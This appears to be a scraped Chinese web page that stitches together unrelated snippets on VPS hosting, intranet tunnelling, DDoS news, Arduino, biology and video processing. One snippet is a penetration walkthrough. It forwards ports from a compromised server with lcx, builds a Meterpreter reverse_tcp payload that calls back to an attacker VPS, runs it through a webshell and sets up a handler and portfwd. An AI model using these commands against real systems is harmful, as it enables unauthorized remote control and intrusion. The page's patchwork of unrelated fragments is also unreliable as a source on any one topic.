很多时候我们需要内网穿透来进行一些操作 因为我们本地是内网而且在没有端口转发的情况下 msf不能很好的去使用。所以今天来总结一下 利用ssh frp实现内网穿透后 利用msf的过程。
2023年第一季度的DDoS（分布式拒绝服务）攻击已经从依靠受损的物联网设备转向利用被破坏的虚拟专用服务器（VPS）。 据互联网安全公司Cloudflare称，新一代的僵尸网络逐渐放弃建立由多个单独的物联网设备组成的群蜂战术，从而转向利用泄露的API凭证或已知的漏洞来控制配置错误的VPS服务器。 这种方法有助于攻击者更容易和更快地建立高性能的僵尸网络，它可以比基于物联网的僵尸网络强大5000倍。 【用于DDoS攻击的VPS服务器】 Cloudflare在报告中解释道，"新一代僵尸网络使用的设备数量虽然只有
话说阿黎的vps最近稍有不稳定现象，体现是服务器重启。 而且不是因为我这个vps自身配置问题，而是vps所在主机的重启。 阿黎小小的用php写了一个获取系统启动时间（运行时间）和内存占用的程序。 代码应该说比较丑陋，欢迎大家指出，阿黎在php方面只能说略懂，要经常翻手册。 0) { $_ret = $_ret . $days . ' 天 '; $_upTime %= 24 * 60 * 60; } if (($hours = intval($_upTime / (60 * 60))
如果大家有不懂的可以看我之前的文章：Android音视频开发——MedCodec实现屏幕录制编码成H264
随着全球化的发展和互联网的普及，越来越多的企业和个人需要处理跨国网络通信的问题。其中，一个常见的需求就是将海外流量转发到国内服务器，以满足业务需求或提高访问速度。本文将深入探讨这一过程，包括其背后的原理、技术实现以及如何编写代码来实现这一功能。
从事互联网工作的小伙伴应该都知道，网站的运行绝对少不了服务器。对于服务器的选择有很多中，有vps，也有空间，这些都是要根据网站的实际情况进行选择，如果网站的流量一天就有几千个IP，那购买好用的vps就可以，如果太多，vps就会承受不起。下面就大家讲讲如何服务器与vps的选择？
将内网机器的127.0.0.1的8882端口,通过主动连接外网的122.114.250.153的ssh,映射到外网vps的122.114.250.153的7280端口,实现网络穿透.这样访问122.114.250.153的7280就可以相当于直接访问内网的8882端口了.
上一篇文章中，介绍了Cobalt strike 发送钓鱼邮件的利用，但是Cobalt strike不仅仅是用在钓鱼邮件，同时也是一款非常强大的内网渗透利器，下面我们就来介绍一下如何利用其在内网中配合一
如今大部分的宣传都在线上完成，以至于企业开始建立自己的网站，租用主机的方式不太划算，随着云计算机的普及，Vps也开始流行起来，能为企业提供优质的上网空间，对企业的建站非常有帮助，那具体来说Vps是什么技术？服务器如何vps？
参考：http://www.0-sec.org/Tools/Cobalt%20Strike/32.html
很多新手准备使用wordpress建站，一来就喜欢问多少钱，这个事儿吧说实话真的不好说，就像你问买一个房子多少钱一样难以回答，有的房子几万块一套，有的房子几个亿的也有，所以要和具体的需求挂钩才能谈论价格和预算什么的。
在企业安全对抗中，红方攻击团队经常会遇到这种情况，在企业的网络边界上获取到部分权限，比如一个web服务器的webshell，然而如何更方便的进行下一步的渗透呢？如何对内网进行渗透测试，这时就需要隧道转发技术，穿透边界防火墙、安全代理等安全设备，进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。
vps主机是受到行业人士以及互联网从业人员关注的产品，它的应用范围广，例如可以用于建立电子商务平台，不仅管理方便，而且运行稳定，再比如可以用于创建在线游戏平台，具有费用经济以及品质出众等优势，如何设定vps主机安全性？这里为大家分享设定vps主机安全性的方法。
很多人对网络系统的运行仅了解一些基础的功能，并不清楚整体数据的构建以及如何建立安全管理体系。如果是个人网站，在运作当中不会涉及到太多机密信息，对安全系数不高，自然就只需要建立基础架构就可以应用。但如果是企业级的系统，自然在运行当中需求性不同，而vps堡垒机是干什么用的呢，其主要功能就是对于网络系统提供便捷安全的管理，包括账号管理、身份认证、授权、访问控制等。
VPS下，对CPU使用率会有很大的限制，有时还会引起VPS死机 所以在用firefox挂机时，对firefox做下CPU限制可能可以起到很好的效果 root@ip:~# cat /etc/xdg/lxsession/LXDE/autostart @lxpanel --profile LXDE @pcmanfm --desktop --profile LXDE @xscreensaver -no-splash @/opt/firefox/firefox @cpulimit --exe /opt/f
SMB又名网络文件共享文件，顾名思义其作用是用于用户与服务端之间的文件交互。默认端口为139，445。SMB的认证过程在这里就不重复描述了，具体可以看我上一篇写的文章，路由器抓包分析之SMB篇。在认证的时候细心的同学一定会发现在Windows下访问SMB服务器会默认使用当前用户hash去向SMB服务器发起认证。下面的实验便与这个机制有关。
RackNerd 商家我们应该是比较熟悉的，商家提供十几个数据中心的海外VPS主机、独立服务器和站群SEO多IP服务器产品。我们大部分朋友比较熟悉的还是RackNerd商家的便宜VPS主机，不定期在节日和每月有促销活动，值此中秋节来临之际，我们可以看到RackNerd涨价有发布中秋节促销活动，VPS主机低至年付11.88美元。
上一节中，我们讲解了网络层的隧道技术（IPv6 隧道、ICMP 隧道）和传输层的隧道技术（TCP 隧道、UDP 隧道、常规端口转发）。现如今，TCP、UDP 通信大量被防御系统拦截，传统的Socket隧道也已经濒临淘汰，DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中，我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解，由于小编能力太菜，很多东东也是现学现卖，应用层的DNS隧道我会在未来专门写一个专题进行讲解。
如果你曾使用过一些新的支持Arduino的硬件平台进行开发，那么可能你已经在你的项目中使用了在线的IoT服务。在这篇文章中，我会演示如何通过搭建一个虚拟专用服务器（VPS）并配置一些软件来为你的Arduino IoT项目提供服务。
frp是一个专注于内网穿透的高性能的反向代理应用，支持TCP、UDP、HTTP、HTTPS等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。frp的好处是利用内网或防火墙后的机器，对外网环境提供http或https服务。对于http和https服务支持基于域名的虚拟主机，支持自定义域名绑定，使多个域名可以共用一个80端口。利用处于内网或防火墙后的机器，对外网环境提供tcp和udp服务，例如在家里通过ssh或者web访问公司内网环境内的主机或者业务进行办公。frp采用Golang编写，支持跨平台，除了二进制文件，没有额外依赖
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP，不过都失败了，第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地，然后再用lcx把Filezilla Server的14147端口转发出来，lcx执行命令如下。 首先VPS机器监听51端口，连接用14147端口： VPS机器执行： C:\>lcx.exe -listen 51 14147 目标机器执行： /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上，返回右上图这样的报错，Google翻译报错信息得知：协议错误：未通过身份验证，关闭连接，连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接，而且我们本地机器也成功的返回了数据，但是好像返回的数据信息中有错误，如下图。 当前问题： 不能正常把目标服务器的FileZilla Server 14147端口给转发出来，返回数据中出错了，所以无法在本地连接上FileZilla Server服务端。 解决办法： 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件，然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下，那么就需要先在路由器里进行端口映射配置，然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件，命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下，然后进入到MSF完成所有必填的配置选项，执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听，然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件，如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话，然后直接使用portfwd命令进行端口转发即可，执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后，我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
首先，你需要一台 VPS，并注册一个 ZeroTier 帐号：https://my.zerotier.com
Xshell安装使用教程：如何通过Xshell连接管理linux服务器，在Windows系统下安装Xshell后通过SSH连接管理Linux系统图文教程。 Xshell是一款优秀的连接ssh服务器软件，能在Windows下远程访问管理我们的Linux VPS云服务器，支持SSH1, SSH2协议。从而达到远程控制终端的目的。这里以我们通过Xshell6.0连接Centos系统为例。 使用xshell连接到Linux服务器需要有VPS主机的：ip地址、端口号、用户名、密码。
SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据，还能够将其他TCP端口的网络数据通过SSH连接进行转发，并且自动提供了相应的加密及解密服务，这一过程被叫做“SSH隧道” (tunneling)。
openwrt的ssh和标准ssh所需要的秘钥格式不同(ssh-kengen产生的是PEM格式)，想要生成能够正常工作的秘钥，使用下面的命令。
前面使用windows VPS 安装 php 网站是让你先熟悉一下 vps 的搭建、环境配置、安全性和网站建设，在头脑中先有个概念。PHP 程序和 linux 系统是天生的绝配，可以发挥出二者最大的性
尝试读取文件，发现结果无变化。这就陷入了僵局。因为这里结果无变化有可能是目标网站不存在XXE漏洞，也有可能是目标网站存在XXE漏洞，但是不回显数据。
越来越多的外贸人开始自学如何亲自搭建和推广自己的外贸网站，这是一个大趋势。为什么呢？因为越来越多的外贸公司已经认识到，把建站和推广工作交给外包公司以后结果并不理想。这其中既有企业自身对建站和推广了解不多的原因，也有建站公司敷衍了事的原因。这篇WordPress外贸建站教程是以实操形式写给没有任何建站基础的新手，不管你是不是技术小白，都可以轻松学会如何使用WordPress来自己建立一个实用的外贸网站，而不需要深入了解复杂的代码编程。
对于红队队员来说，打点之后最重要的就是横向的内网渗透了，但很多人都卡在了这一步，今天这篇文章就主要讲一讲cobaltstrike和msf的联动，内网渗透的一些小思路，以及我遇到的一些msf和cs的坑
最近发现博客的内存老是隔三差五地被“吃掉”了，登录到后台后偶尔会出牛顿的情况，一开始怀疑是Swap不够导致的，于是给VPS主机增加了几个G的Swap，观察了一段时间后发现再大的Swap也被慢慢地“吃掉”了！
2021年12月25日，来自意大利都灵大学的Giulia Carona和日本东海大学医学院的Shinji Hadano等人在Drug Discov Today合作发表综述“基于人工智能的蛋白质结构数据库有可能加速罕见病研究：AlphaFoldDB和IAHSP/Alsin的案例”。
Sugarhosts 糖果主机上线中美极速直连线路后，最近洛杉矶 CN2 线路虚拟主机搞活动，239 元/年限时终身六折，就有网友询问洛杉矶 CN2 虚拟主机的线路测试地址， 魏艾斯博客和官方要了一个洛杉矶 CN2 中美极速直连地址用于速度评测，本文评测过程结果仅供参考。 一、洛杉矶中美直连 CN2 极速线路方案 1、洛杉矶中美极速专线虚拟主机 下面列举的是中美极速专线虚拟主机，本月限时终身优惠，如果是稳定建站使用，推荐选购 Shared Pro，送独立 IP。 Shared Baby 磁盘空间：5GB
iodine是基于C语言开发的，分为服务端和客户端。iodine支持转发模式和中继模式。其原理是：通过TAP虚拟网卡，在服务端建立一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后，客户机上会多出一块名为dns0的虚拟网卡。
b) 编辑GRUB Loader /boot/grub/grub.conf 确保grub.conf文件的内容为：
完整攻击链大概包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等七步，虽然这个站点只经历了前四步，但也具有较强的代表性，组合利用漏洞形成攻击连，拿下管理权限。
继著名的LAMP Stack（Linux + Apache + MySQL/MariaDB + PHP）网站环境之后，LNMP Stack（Linux + Nginx + MySQL/MariaDB + PHP）以其负载小、静态文件处理能力强的优势，在Linux平台上开始流行，尤其是在配置不太高的VPS上应用广泛。
迫于目前现有的weblogic工具没怎么更新、payloay jdk适用版本等问题，所以基于superman18、sp4zcmd等项目，写一个weblogic工具，工具运行版本要求jdk 8，支持漏洞检测、命令执行、内存马注入、密码解密等（深信服深蓝实验室天威战队强力驱动）。
lhost :公网ip lport :公网端口 ps:端口除去公共端口都行(22 80等…… )，这里就设置为8181
RSS阅读器现在越来越成为一个小众的产品了。之前我在五款优秀的RSS阅读器推荐中介绍的InoReader、Feedly、Digg Reader等要么就是开始收费，要么就是“半死不活”了。尤其是坚持几年的Inoreader 从2019年开始就要收费了，是时候转投自建RSS阅读器了。
IIS（Internet Information Server，互联网信息服务）是 windows 系统自带的网页服务组件，之前我们学习了windows VPS 如何建立网站和数据库，并没有提到这个 IIS 管理器的添加，主要原因是有一部分 VPS 商家会提前安装好 IIS 服务，省去了站长手动添加 IIS 的麻烦。不过作为站长一定要学会在windows2003 如何搭建 IIS，下面进入正题。 要添加 IIS，首先打开“控制面板”，选择“添加/删除程序”→“添加/删除 Windows 组件”，把“Inte
一些朋友搞不清楚 Windows Executable 和 Windows Executable (s) 的区别。据官方文档说，Windows Executable 是生成一个 stager，但是 Windows Executable (s) 是 stageless 的，相当于直接生成一个 stage。这个涉及一个分阶段传送 payload 的概念，不做过多解释。我认为选 Windows Executable (s) 比较好，因为 payload stager 因其体积原因，没有一些内建的安全特性。所以能不分阶段就不分阶段。
比如，对一个视频做 2 倍速播放，假设原来各视频帧的 pts 依次是 0, 30, 60, 90 ...，倍速处理及将它们除以 2 变成 0, 15, 30, 45 ...。这样处理后，视频的帧率和总时长相应的也发生了变化，帧率变为原来的 2 倍，总时长变为原来的 1/2。
人类通过眼睛来认知周围的环境，同样的，智能硬件也需要一双“眼睛”，以实现定位导航，认知周围环境。
VPN 全称是 Virtual Private Network（虚拟专用网络），可以在多台设备之间建立安全的通信网络。VPS 是 Virtual Private Server，虚拟专用服务器，指的是一台虚拟的电脑，用于提供服务。
近几年，外泌体越来越多的被提起，CNS 里常常有它，自然基金课题总有它，Pubmed 里的文章数量呈现暴风增长，涉及癌症、免疫、病毒感染、心血管疾病及神经退行性疾病的全方位研究，甚至还有美容相关研究。
转发目标主机的3389远程桌面服务端口到本地的8888，使用linux中的rdesktop连接本地的8888端口。
LONGVIEW能实时的监控LINODE VPS的CPU、内存、硬盘、NGINX、MYSQL、网络状况等，并可用于其他的VPS监控，相当不错。
在实际的网络中，通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况，如果发现异样，就会对通信进行阻断。那么什么是隧道呢？这里的隧道，就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装，然后穿过防火墙，与对方进行通信。当封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应服务器上。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
